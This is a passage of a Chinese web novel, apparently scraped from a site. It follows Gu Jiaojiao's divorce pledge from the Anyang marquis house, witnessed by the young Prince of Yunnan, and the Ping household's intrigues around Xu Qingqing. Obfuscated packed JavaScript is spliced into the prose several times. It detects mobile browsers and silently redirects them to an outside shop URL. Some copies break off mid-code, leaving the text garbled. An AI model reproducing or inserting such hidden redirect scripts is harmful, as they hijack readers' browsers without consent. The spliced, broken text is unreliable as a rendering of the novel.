她面上答应得爽快,心中却有着自己的考量,离了安阳侯府,顾皎皎便什么也不是,如今顾府已经遣散,她和离后便是孤女,除了有几分臭钱外还有什么? 三年时间,足够京中人忘却许多事情,届时,就算不将银两给她,她也不能拿安阳侯府怎样! 况且若是协兆娶了青青,有了平王府的势力,安阳侯府三年后说不定正是如日中天之时,那就更加不惧一个小小的商女了。 见孙老夫人这般轻易便答应了,顾皎皎轻轻笑了笑,她用脚指头想,也知晓这老虔婆打的什么如意算盘,她自然是万万不能让她如愿的,不过,这事儿还得孙协兆也点头同意才是。 她将视线投到孙协兆身上:“你的意思也与孙老夫人一样么?” 孙老夫人?! 孙协兆瞪着她:“你我还并未和离,你该唤她为母亲!” 顾皎皎:“也不差这一日两日的,既然决定了要撇清关系,自然是越早越好,况且母亲向来不喜我,说不定我尊她一声孙老夫人,她心中还越发欣喜。” 孙老夫人冷哼了一声,别开视线,她确实宁愿听这小贱蹄子唤她老夫人,也不愿她唤她母亲。 她的这般行为,在旁人看来便是默认了。 孙协兆默了数秒,片刻后他好似下定了某种决心:“行,我同你立这个字据。” 顾皎皎如今变得聪慧了不少,若想向从前那样将她拿捏,怕是有些难度,青青那边却不一样,虽然他与青青本就是情投意合,可就如杜玉荣所说,女子的青春十分宝贵,她又能陪自己蹉跎多久? 人心易冷,若是青青因着和离一事对自己失望,随意找一个嫁了,他又该如何是好,又该从何处去找寻第二个徐青青? 权衡利弊下,孙协兆终是选择了更为稳妥的徐青青,也算是选择了可以助他平步青云的权利。 “好,既然说定了,那我们便即刻立下字据。” “好。” 孙协兆让小厮带了笔墨纸砚出来,就在他准备下笔之时,顾皎皎阻止了他:“慢着。” “怎么?”孙协兆看着她,颇觉莫名其妙:“立字据一事是你提的,你中途喊停,难不成是反悔了?” 他冷哼:“现如今万事俱备只欠东风,你便是反悔也无用,我安阳侯府不留你这种儿媳。” 顾皎皎嗤笑:“你想多了,安阳侯府是什么香饽饽吗?我放着白花花的银子不要,偏生要留在一个外强中干的侯府中做低伏小的?” “我只是觉得,毕竟安阳侯府欠我的银两太多了,这般草率的便立了字据属实令人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017288|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不安。”顾皎皎意有所指般看了看孙老夫人:“若是等这件事的风波过后,你们不认账可如何是好?” 心思被看穿,孙老夫人有些心虚,她别开眼:“瞎说什么?” 孙协兆额头青筋暴突,他咬牙切齿道:“那你说,你究竟想要怎样!难不成还要将安阳侯府的地契给你不成?顾皎皎,我劝你莫要太过份了!” “地契便不用了。”顾皎皎微微一笑:“你们安阳侯府的地契烫手,谁晓得我今日拿了,明日会不会暴尸街头?” “只要有一个证人便是了。” 孙协兆的忍耐度已经达到了顶端,他不耐烦道:“你要找何人做证人?” 顾皎皎的视线在宴席上转了一圈,最后落在了角落处的沈云祉身上。 他今日并未将发全部束起,只用了一根淡蓝色发带青丝半绾,几缕碎发自然垂在额前,随风飘扬,颇有几分慵懒随意的味道。 顾皎皎看着他,一字一句道:“我想请小云南王来做证人。” “噗嗤!”孙协兆像是听见了什么天大的笑话,没忍住笑出声。 他用轻蔑的目光将顾皎皎上上下下打量了个遍:“你别以为方才杜大人替你美言几句, 你便是个什么了不得的大人物了。” “小云南王是什么人,你是什么人,你们可曾说过一句话?凭什么认为小云南王愿意替你作证?真是痴人说梦!” 孙协兆话音落,四周响起一阵低低的嘲笑声。 “谁说本王不愿意了?本王竟不知,协兆你何时成了本王肚中的蛔虫,竟比本王自己都更了解自己的心意?” 沈云祉单手撑住下颚,似笑非笑看着他。 周遭的低笑声戛然而止,取而代之的是吸气声,她们都不敢相信高高在上的小云南王竟会替顾皎皎说话。 孙协兆更是以为自己听错了,面上满是不可置信,他瞪大了眼重复道:“小……小王爷,您方才说的可是玩笑话?” 第七十四章 为达目的不择手段 沈云祉勾唇笑了笑:“协兆,看来你似乎略有耳疾,可要本王将从封底带来的大夫借你诊下病?” 孙协兆忙跪下:“不必麻烦小王爷,待今日之事终了,我自会去外寻大夫来瞧。” 顾皎皎看着面前一幕只觉得讽刺,方才在自己面前凶如罗刹的人,到了有权有势的人跟前,却如病猫一般,有权有势之人打他左脸,他还得笑盈盈将右脸凑上去。 沈云祉站起身,面上笑意慵懒:“协兆,你这是做什么?方才本王不过开个玩笑罢了,动不动就跪,像什么样子?快些起来吧。” “是,小王爷……都怪我方才未听清您说的话。” 孙协兆勾着腰站起身,趁人不注意时,稍稍用衣袖擦了擦额角的汗水。 在外,旁人都以为他与小云南王是至交好友,小云南王平日里待他也算是和煦,但是他知道,小云南王此人并非表面上这般好相与,是个为达目的不择手段,既腹黑又心狠的人…… 是以,当顾皎皎提出让小云南王做证人时,他才会是那般反应,他也未曾料到,小云南王竟会愿意帮助顾皎皎。 见他还站在原地愣神,沈云祉有些不悦:“既如此,那便开始吧,莫要耽搁你我时间。” “是,小王爷。” 因着沈云祉在,孙老夫人与章氏刘氏都不敢作妖,因此立字据的过程十分顺利。 沈云祉将字据拿在手中吹了吹,当墨迹干后,他将字据递给顾皎皎:“顾夫人,你的东西。” “多谢王爷。”顾皎皎行礼道谢,她伸手去取,却怎么也无法从他手中将字据拿出。 她微微皱眉:“小王爷,可是这宣纸上被哪个不长眼的奴才抹上了鱼鳔胶,是以有些粘手?” 顾皎皎的声音不大,在场众人却都能听清,闻言所有人都屏住了呼吸,心中暗道她实在不识好歹。 小云南王好心帮了她,她却这般出言嘲讽,这下小云南王该发怒了,看她还怎么收场。 不少胆子小的闭上了眼,生怕看见什么血腥场景。 时间一分一秒过去,众人意料中的事情并未发生,沈云祉面不改色松开手,颇为正经道:“顾夫人怎么知晓这宣纸上有鱼鳔胶,确实有些粘手。” 说着,他煞有其事般搓了搓大拇指与食指。 孙协兆几乎惊掉了下巴,嘴巴张得极大,怎么回事,小王爷在这贱妇面前竟脾气这般好?! 她都这般冒犯了,竟还能笑着揭过! 顾皎皎得到了想要的,心情愉悦,她将宣纸三两下折入怀中。 察觉到沈云祉的双眼一直看着自己,她心中咯噔一下,这才意识到方才她因着心情烦躁,说话语气也不好。 想了数秒后,她客气道:“今日之事多谢小王爷,若是小王爷不嫌弃的话,改日第一楼一聚,粗茶淡饭聊表谢意。” “可,那便等你将和离一事解决后吧。”沈云祉应到,他抬头看了看天:“今日时辰也不早了,本王还有要事处理,便先行离开了。” 所有人都起身恭送小云南王,杜玉荣亦随沈云祉一同离开。 直到沈云祉的背影完全消失,顾皎皎才回过神来,他为什么会答应?她只不过随口提了提,客气客气罢了! 安阳侯府赏花宴一事闹得十分大,不过小半日功夫,宴席上发生的所有事情便被添油加醋传遍京城,青青这个名字连三岁小儿都知晓了。 平王与平王妃出门时,更是被人追着问平王府何时多了一个小郡主,准备何时将小郡主介绍出来给人认识认识。 二人丢了好大的脸,都各自回房打砸了不少东西。 冬儿看在眼中急在心中:“王妃,您莫要气坏了身子,你还在喝中药调理呢,大夫特意嘱咐了不能动气。” “你叫本王妃如何不动气?” 平王妃将手上的护甲直接折断,往日里慵懒妩媚的眸中皆是气恼。 冬儿也有些愤愤不平:“奴婢能理解王妃的心情,将那贱蹄子的身世瞒了这般久, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017289|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如今竟从安阳侯府处传得人尽皆知。” “真是同她那个贱妇娘一样,离了男人一日也过不了!”平王妃眸中满是嫌弃,徐青青的娘她是见过的,原是封地府中身份最卑贱的洗脚婢,胜在长了一副好容貌,是以才借着机会爬上了王爷的塌。 被她知晓后,平王随意将人给打发了,没料到那贱人是个有福气的,竟是有了身孕! 平王妃丰满的胸脯上下起伏,尖声怒骂:“早知那贱人会生个孩子来给我添堵,当初我合该直接将她溺死!” 冬儿轻轻替平王妃抚背顺气:“王妃,反正她那贱人娘也死了,王爷如今也不待见她,不若咱们一不做二不休……” 她做了一个抹脖子的姿势。 平王妃眼眸动了动,显然是对冬儿所说有些想法,但片刻后,她摇头否决:“这般做不妥。” “王妃,有何不妥的,只要您发了话,奴婢便即刻找人去处理了她。” 平王妃看了她一眼,怒火消散了大半:“如今徐青青可以说是整个京城都人尽皆知的存在,虽说不是什么好名声,但总归旁人是知晓她的。” “若是在这个节骨眼上,徐青青 忽然暴毙,你说旁人会如何说?况且京中的王府我们并无多少信得过之人,若是没有收好尾,别哪个奴仆瞧见将消息卖出去……” “还是王妃想得周全,幸好奴婢并未瞒着您私自行动。”冬儿有些后怕:“早知如此,王妃当日便不该留她一条贱命。” 平王妃笑着摸了摸小腹:“这确实是我有生以来做过的,最错误的决定,若不是替我未来的孩儿积福,何至于此……” “如今好了,你还未来我腹中,原本属于你的都被徐青青那贱人夺去了!” 冬儿:“奴婢也替小世子不值,王妃,可要奴婢遣人收拾她一番?纵使不能要她的命,让她褪一层皮也是可以的!” 平王妃慢条斯理戴上新的护甲,无所谓道:“不必,将她的不堪身世散播出去便是。” 第七十五章 何不帮帮她 “她想清清白白成为平王府的郡主,得到尊贵的身份?呵,本王妃偏偏不让她如愿!” 平王妃像是想到了什么有趣的事儿一般,她捂唇轻笑:“冬儿,你说一个臭名远扬的郡主,还能构成威胁吗?” 冬儿也笑:“那自然是不能的,王妃您放心,奴婢这便去办!” 李嬷嬷听到外边传闻的第一时间,便将消息带去了徐青青的院子。 她怕其难过,是以劝慰:“姑娘,您也莫要害怕,如今王爷是被那些人问烦了,所以才脾气略微暴躁了一些,待过两日风波过了,王爷定会想法子处理京中的谣言。” 徐青青心不在焉点头,她低声问道:“嬷嬷,如今京中都是如何说我的?” 李嬷嬷:“倒也没说什么,也就是闲谈您与安阳侯府三爷的事儿,与您到底是不是平王府的血脉一事。” 提到血脉二字,徐青青的眸子短暂亮了一瞬,她试探性询问:“我与王爷的关系,瞒得这般紧,他们又是怎么知晓的?京中人说我是王府血脉的居多,还是觉得我不是王府血脉的居多?” 李嬷嬷闻言看了她一眼,眼神颇为怪异,片刻后,她垂下眸子道:“消息是安阳侯府的三夫人传出的,她直接将您是安阳侯府三爷外室之事抖出。” “至于第二个问题,奴婢只能说一半一半吧,毕竟如今王爷与王妃尚未发话,所有人都持了观望态度。” 徐青青红着脸应了一声,她轻咬唇瓣有些不知所措,外室二字实在令她面上无光。 稍稍瞪了李嬷嬷一眼,徐青青在心中暗骂她口不择言,待她真真正正成了平王府郡主,再与她好好清算。 “若是姑娘无事,那奴婢便先行告退了。” 李嬷嬷看着她,心中隐隐升起一股失望之意,这徐青青是有几分小聪明,可却也是不够看的,心中所思所想不知收敛便罢了,她竟愚昧到以为如今京中的这些谣言于她有利。 罢了,多说无益。 李嬷嬷行了一礼后径直转身离开。 徐青青看着李嬷嬷离开的背影陷入沉思,方才她的意思是,平王与平王妃暂时并没有将自己的身份公之于众的打算…… 不行,她不能坐以待毙,她得想个法子‘逼着’他们承认自己的身份! 徐青青思量片刻后看向一旁李嬷嬷给她拨来的侍女。 “青儿,你过来。” 青儿恭恭敬敬上前:“姑娘,您可是有事吩咐奴婢?” 徐青青翻了个白眼,语气不善:“废话,我叫你不是有事,难道还能是叫着玩的吗?” 青儿被吓得瑟缩了一下,她忙跪倒在地:“姑娘恕罪,是奴婢说错话了……” “算了,懒得与你一般见识,你按照我说的做,事成后定然少不了你的好处。” 青儿靠近,徐青青凑在她耳边低语。 平王妃寝屋 冬儿火急火燎来到平王妃面前,因着走得太急,额角甚至布满了汗水。 平王妃淡淡撇了她一眼:“发生了何事这般慌张?让你做的事情可做好了?” 冬儿摇头:“禀王妃,奴婢还没来得及。” “没来得及是何意?”平王妃秀眉微挑,语气嘲讽:“难不成你也如林嬷嬷一般,对那徐青青起了恻隐之心,所以便这点小事儿也做不好了?” “哪能啊,王妃,奴婢就算被打死也不会背叛您的。” 冬儿赶忙跪下表起了衷心,一双眼睛湿漉漉的,似乎是怕平王妃不相信,她还将手指竖起:“若是王妃您不相信的话,奴婢可以发誓,若是哪一日奴婢背叛了您,奴婢便不得好死!” 闻言,平王妃的眉目平和了些许:“本王妃也不过随口提提罢了,瞧把你吓成什么了样子,快些起来罢,地上凉。” 冬儿这才边擦泪边起身:“多谢王妃体恤。” 平王妃:“所以,方才你这般慌慌张张是为了何事?” 提到正事儿,冬儿忙从怀中掏出一张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017290|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手帕递到平王妃跟前:“王妃,您且看看这个。” 冬儿正色道:“方才奴婢出府时碰见了徐青青身边的丫鬟青儿,她手中拿着一个包袱鬼鬼祟祟上了街,奴婢当时便感觉不对劲儿,于是便跟了上去。” “结果瞧见青儿从包袱里拿出这绣帕,放在第一楼人群最密集之处,许是那丫鬟头一遭做这等事,十分心虚,她将绣帕一放下便慌慌张张走了。” “奴婢这才有机会将这绣帕给偷偷拿了回来。” 平王妃点头,将绣帕展开放在桌上细细看了起来。 手帕的材质并不好,甚至有些硌手,只是绣帕上的那一对鸳鸯却是栩栩如生,鸳鸯旁还绣着一行十分露骨的情话。 平王妃啧了一声:“真是不堪入目,看得本王妃鸡皮疙瘩都起来了,这徐青青莫不是脑子有毛病,竟让丫鬟将这等上不得台面的东西拿出去公之于众……她……” 平王妃的话戛然而止,她的视线落在绣帕最末端的署名上。 冬儿顺着平王妃的视线看过去:“秀……王妃,您可是认识绣这手帕之人?” “呵,原来是她。”平王妃勾唇冷笑:“怪不得徐青青将此等绣着污言秽语的东西拿出 来,原来是她那个贱人娘与王爷的定情之物!” 冬儿闻言惊讶得嘴巴都合不上,她指着锦帕上那行字:“王爷怎会喜欢这般肤浅的女子,瞧她绣的这行字便不是个贤惠的。” 平王妃冷着一张脸,心情颇为厌烦:“贤惠?贤惠有什么用,你见过哪个男子喜欢贤惠的?徐青青她娘可是长了一副狐媚相,王爷哪能不被她勾住?” 冬儿小心翼翼看着平王妃,见其面上并无难过之色,她才道:“王妃,那如今这事儿怎么处理?就由着徐青青做这些小动作?” 平王妃站起身,在房内来回踱步,她思衬片刻后道:“不由着她还能怎样?想来徐青青今日做出这等愚蠢行为,是为了尽快成为平王府的郡主,既如此,我们何不帮帮她?” 第七十六章 你便是我 夜间,平王府书房。 平王气得将书案上的笔墨纸砚通通掀翻在地,犹觉不解气,他又打砸了数个花瓶。 一旁伺候的丫鬟吓得跪在地上瑟瑟发抖,只能不停磕头:“王爷您息怒,莫要气坏了身子。” 林嬷嬷端着一盏茶进入书房,她对着地上的丫鬟淡声道:“你且出去吧,王爷这里我来伺候。” 丫鬟闻言如释重负:“是,林嬷嬷。” 说完,丫鬟连滚带爬离开。 林嬷嬷将茶盏轻轻放置在桌面上:“王爷,泡了您最爱的菊花茶,您且喝上一点消消火吧。” 平王回头看着她,眸色冰冷:“消气?你要本王如何消气?你可知晓现如今,本王已经成了旁人茶余饭后的谈资!” 林嬷嬷忙跪下告罪:“请王爷责罚,都怪老奴未将姑娘看好,这才酿出此等祸事!” 平王眯眼:“什么意思?是徐青青自己将她的身世散播出去的?” “是得,王爷。”林嬷嬷点头:“京中有了谣言,奴婢便派人去查了,发现姑娘身边的贴身丫鬟青儿午后曾带着东西鬼鬼祟祟出了府,此后不多时,京中便有了传言。” 平王眸中戾气变深:“真是吃里扒外的东西,本王怎会生出这样的蠢货!当初本王便不该猪油蒙心,将她带回王府!” 林嬷嬷闻言默了数秒,片刻后她道:“王爷,姑娘兴许也是心中着急,这才干了这等糊涂事,姑娘年幼,又是王爷唯一的血脉,您可千万莫要与她一般见识啊。” 平王心中的怒火在林嬷嬷的劝说下消散了不少,可到底还是无法当做没有发生。 书房中寂静了片刻,平王吐出一口浊气:“罢了,便听你的,给她一个机会,你且将现在外边的情况告知她,看她是何反应。” “若是她还是这般伶不清,那她与本王便是没有父子缘分的,且从哪来便回哪儿去吧。” 林嬷嬷诧异,她没料到平王竟会是这样的想法,徐青青是个什么性子,她这段时日可谓是看了个清楚,因此心中基本可以笃定,若是徐青青知晓京中的流言蜚语,无高人指点的情况下,定然会昏招频出。 所以,王爷的意思便是下了决心要逐徐青青出府,可王府只有徐青青一个血脉…… 林嬷嬷正想试着再劝说几句,平王却转过身不再看她,无奈,她只能放弃这个想法:“是,王爷,老奴这便去办。” 徐青青在院内焦急等待,远远瞧见林嬷嬷来了,她忙收起所有表情,坐在桌前气定神闲喝起茶来。 直到林嬷嬷走近,她才故作惊讶道:“嬷嬷,你怎么来了,可是王爷有何话吩咐?” 林嬷嬷看了眼她手中的冷茶,面无表情:“王爷没有要老奴带话给姑娘,只是如今京中流言蜚语颇多,鉴于流言与姑娘也有关,所以老奴自作主张来告知罢了。” 提到京中流言,徐青青到底还是有些心虚,她别开眼眸不敢与林嬷嬷对视:“那便多谢嬷嬷好意了,正好我整日待在院中,对外边的事情确实都不甚了解。” 听着她拙劣的谎话,林嬷嬷面不改色,她简单将今日京中的流言说了一遍。 像是怕她听不明白,林嬷嬷又道:“也不知是谁人泄露了消息出去,如今京中有能人异士将姑娘您的身世调查得十分清楚,连您何时何地出生、做了何事都调查了个干净,您与安阳侯府三爷的情事也被抖落得一干二净,不少人开始怜悯起安阳侯府三夫人来。” “不仅如此,连王爷都受了连累,如今在书房发了好大的火。” 徐青青闻言面色苍白,她忙道:“怎会?父……王爷怎会受牵连?不是说只是我的身世被调查了个清楚吗?” 若是父王因此事受了牵连,他定会派人调查此事,若是调查出是自己在背后推波助澜,那她的下场…… 徐青青越想越害怕,一双眸子无意识的湿润了,她紧紧盯着林嬷嬷,等待她的下文。 徐青青本就生得闭月羞花,一双眼睛更是绝美,被她这般看着,纵使是铁石心肠也会化作绕指柔,林嬷嬷亦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017291|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然。 “旁人是调查您的身世不假,可您到底是王爷的孩子,调查您的同时,自然也会将十数年前王爷与您母亲的情事挖出。” 徐青青这下更加慌了,她仿佛看见震怒的平王,心颤了颤:“嬷嬷,那可如何是好啊,王爷他会不会怪我连累了他?” “若是与姑娘无关,那王爷自然不会迁怒。”林嬷嬷意味不明看着她:“姑娘为何会这般问?莫非姑娘您知道什么?” “没有,我怎会知道。”徐青青赶忙否决。 林嬷嬷点头:“既如此,那老奴便先告退了,姑娘您且好生歇着吧。” 走至一半,她忽的回头与徐青青对视:“姑娘,多说多错,多做亦是多错,您从前可曾听过这句话?” 徐青青瞳孔缩了缩,林嬷嬷这话是什么意思?难道她知晓了自己做的事情? 她勉强笑了笑:“未曾听过。” 林嬷嬷点头,转身离开。 徐青青回想起林嬷嬷那句话,只觉得坐立难安,她在屋内焦急踱步,心中无比慌乱。 以她这段时日对林嬷嬷的了解,她从来 不做无用之事,不说无用之话,今日她去而复返说得那句话,定然别有含义! 如今京中流言蜚语愈演愈烈,王爷会不会一气之下干脆直接杀了自己?毕竟一个名声坏的郡主,于平王府也无甚助益。 徐青青心乱如麻,实在不知晓下一步应当如何做,目光落在青儿身上,她的眼眸亮了亮。 青儿与自己的身高、身形都十分相似,若是她乔装打扮一番,或许可以偷偷出府去求助一下那人。 已经被逼到了绝境,徐青青别无他法,她这样想当即便也就这样做了。 她将青儿拉到一旁,强制与其换了衣裳。 青儿懵懵懂懂的:“姑娘,您这是做什么?怎的与奴婢换衣裳?” 徐青青嘘了一声,她左瞧右瞧,确认无人后才悄声道:“从现在起,你便是我,切记,莫要让旁人发现了。” 第七十七章 除了顾皎皎 青儿下意识的有些害怕:“姑娘,奴婢如何能做您?若是林嬷嬷来瞧见了,定然会扒了奴婢的皮的!” 青儿抓住徐青青的衣袖,声音恳切:“姑娘,奴婢求您,别这样好吗?林嬷嬷将奴婢指到您身边时,便嘱咐了奴婢要好好伺候您,若是她知晓了奴婢陪着您这般胡作非为……还不晓得要怎么处罚奴婢……” 这是徐青青头一次见青儿说这么多话,只是没一句她爱听的。 重重挥开青儿的手,她不耐烦道:“我是不是胡作非为,何时轮到你一个奴婢指手画脚了?现在我给你两个选择,一、按照我的吩咐行事,我保你平安无恙,二、继续阻挠我,我即刻便扒了你的皮!” 青儿听着主子的话,眼泪当即便落了下来。 说着是两个选择,可哪里有给她选择的机会?她若是想活,今日便只能冒充姑娘了。 她虽胆子小了些,可到底还是惜命的,将眼泪擦净,青儿道:“姑娘,奴婢选第二条路。” 徐青青闻言满意:“算你识时务,我警告你,千万莫要让旁人发现了,否则有你受的!” 对着青儿警告一番后,徐青青才避开人群悄悄出了府。 由于青儿平日较为内敛,因此府中并未有熟识之人,因此一切皆为顺利,出了平王府,她直接便往驿站赶。 徐青青心乱如麻,只管低头赶路,愣是没注意看路上是否有人,直到撞到了人才稍稍回过神来。 “对不起,我不是故意的……”为了不让旁人认出自己,她赶忙低下头道歉。 “徐姑娘?” 一道颇为耳熟的声音在头顶响起,徐青青抬头,双瑞的脸闯入视线,她有些愕然:“你怎么会在这儿?” 想到了什么,她忙捉住双瑞的手腕,急切发问:“小王爷可与你一道?” 双瑞皱眉,不准痕迹避开徐青青的触碰,面上挂起得体的笑容:“小王爷如今正在第一楼,徐姑娘可是有事寻我家小王爷?” “第一楼。”徐青青抬头,这才发现自己已经走到了第一楼门口:“是,我有事想请教小王爷,可否替我通传一声?” “行吧,那徐姑娘您在此稍后片刻,我这便上去给您问问。” 雅间内 沈云祉负手而立,视线一直落在街道上来来往往的人群中。 “吱嘎”房门打开,双瑞还未开口,便听沈云祉淡声道:“让她上来吧。” “是,小王爷。” 徐青青很快便被带到了沈云祉面前:“民女见过小王爷。” “嗯,你找我何事?”沈云祉声音冷淡,他垂眸看着茶盏中茶叶沉浮。 徐青青扑通一声跪在地上,姣好的面庞即刻便梨花带雨:“小王爷,如今京中的传闻想来您也知晓,民女实在不知道该怎么处理,是以才厚着脸皮来求助您,请您帮帮我……” “帮你?”沈云祉抿了一口茶水,声音听不出喜恶:“本王如何帮你,难道你想让本王帮你压下流言?” 徐青青赶忙摇头,她怎会这般痴心妄想:“不是,民女想请小王爷您指教一下民女,如今这幅局面,民女应当如何应对,最后才不会鸡飞蛋打,什么也得不到……” “你担心平王将你踢出平王府?” 纵使很丢人,徐青青还是轻微点了点头,都说女子的第六感十分准确,今日林嬷嬷的反常行为,确实让她有了这个想法。 沈云祉勾唇笑了笑:“呵,你倒是了解他,依照他的性子,若是京中流言一事你未曾处理好,等待你的,的确只有被远远送出京这一条路。” 徐青青闻言只感觉脊背发凉,她无比庆幸自己今日来找了小云南王,她追问道:“小王爷,那民女应该怎么办才好?” “民女好不容易才来到京城,好不容易才进到了平王府,如何甘心就这么又被送离……” 沈云祉看着面前的满脸都是泪水的女子,心中升起一股厌烦感,这么多年了,他所见过的女子,不论身份高低贵贱,一个个都是极爱落泪的,一丁点小事儿便慌不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她凑近看了看,却因为二人方向是反的,所以看不清楚,只能再次问道:“不止和离书还有什么,好像现如今也只有和离书一事要稍稍紧迫些啊。” “你看看就知道了。”顾皎皎随意抽出一张宣纸递到莺儿手中。 莺儿仔细看了起来,看到一半,她惊讶得嘴都合不拢:“姑娘,您的记忆怎会这般好,竟连老夫人与大夫人、二夫人他们何时拿了什么东西都记得?” 顾皎皎笑了笑:“我整日都要料理父亲留下的产业,若是没有两把刷子,还怎么得了?” 从桌上拿起两张将将写完的宣纸,她将纸张上的墨汁吹干后,珍而重之的将其放在心口位置:“莺儿,你且去端一个火盆过来。” “是,姑娘。” 莺儿动作极快,没一会儿便将火盆端到了院中:“姑娘,您要火盆做什么?” 顾皎皎站起身来到院外,看着橙黄的火苗,她轻声道:“今日是我与孙协兆那畜生和离的最后一日,当初父亲为了我后半辈子,千挑万选选了逐渐式微的安阳侯府作为我的后盾,这般情意自然万万不能辜负?” “如今我便要与孙协兆和离了,自然得将这几年发生的许多事情告知父亲,让他老人家莫要为我和离之事担心……” 顾皎皎抬头看向被朦胧薄雾遮住的月色,眼眸中带着温柔与坚定:“我能与孙协兆和离,父亲应该为我高兴才是,日后我定然会将顾府的门楣撑起来,待有合适的时机,我也会过继一个孩子到膝下,待我百年之后,那孩子会接替我撑起顾府……” 写满了娟秀字迹的宣纸逐渐被火苗吞噬殆尽,只余火盆中一堆灰烬。 翌日 莺儿伺候顾皎皎梳洗:“姑娘,如今时辰还早着呢,您怎的不多睡一会儿?” 顾皎皎看向窗外,天空将将泛起鱼肚白,院外树上的鸟雀不时传来叽叽喳喳的声音。 往日她觉得这些声音太过聒噪,今日听来却犹如天籁。 她笑了笑,轻声答道:“怎能不早起,我等这一天等了许久了,况且为了防止事情出现变故,也应快些解决了。” 莺儿自然知晓她说的变故是什么,想了想道:“可是姑娘,昨日的事情闹得那么大,又有小云南王与杜大人做见证,孙三应当不敢反悔吧?” “呵,不敢?”顾皎皎嘲讽一笑:“你以为孙协兆是什么正人君子么?经过昨夜一晚,他若还舍不得我身后的嫁妆,便会不择手段反悔,小云南王与杜大人处,他便是说我哭着求他莫要和离,他们定然也是信的,毕竟我与他们并无交情,他们自然不会特意来找我询问。” 莺儿越听越心惊,替顾皎皎梳洗的动作都快了不少,好不容易姑娘才要脱离苦海,若是因为旁的缘故希望落空,那可如何是好? “姑娘,奴婢快些替您梳洗,您快些拿了和离书去找孙三。” “好。” 顾皎皎拿着和离书直奔孙协兆书房,因着时辰尚早,此刻书房房门仍旧紧闭,书房外也只有一名小厮在打盹。 见状,她看了莺儿一眼,莺儿立马带着两名身强体壮的小厮将书房门踹开。 “哐当”一声巨响,睡得香甜的孙协兆被吓得从梦中惊跳而起:“哪个不长眼的狗奴才,竟敢扰我清梦!” 因着昨日赏花宴上发生之事,他几乎一夜未眠,眼见公鸡打鸣了才刚刚歇下,才睡了不足一个时辰就又被吓醒了。 他愤怒极了,抬眸看向发出声响的位置,当看清来人是顾皎皎时,他心中的火气越发大:“顾皎皎,你究竟在做什么?大清早的你带着两名小厮将我书房门踹开是何意?!” 顾皎皎从怀中掏出和离书递到她面前:“我来找你自然是办正事儿,喏,你昨日答应了要和离,我已经将和离书拟好,你且看看,若是没什么问题的话,便写下你的名字吧。” 听到和离书三字,孙协兆面色难看至极,他看了眼天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017293|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色,咬牙切齿道:“你嫁到安阳侯府已两载有余,竟是对安阳侯府……对我……一丝情份也无么?昨日才说了要和离,今日一大早便搞出这么大的阵仗,你是一分一秒也等不及啊!” “情份?”顾皎皎没忍住笑出声来,她用嘲讽的目光看向孙协兆,眸中的轻蔑之色尽显:“安阳侯府与你,也配?” “你这贱妇!”孙协兆被激怒了,当即便气势激昂地站起身,一副要动手的样子。 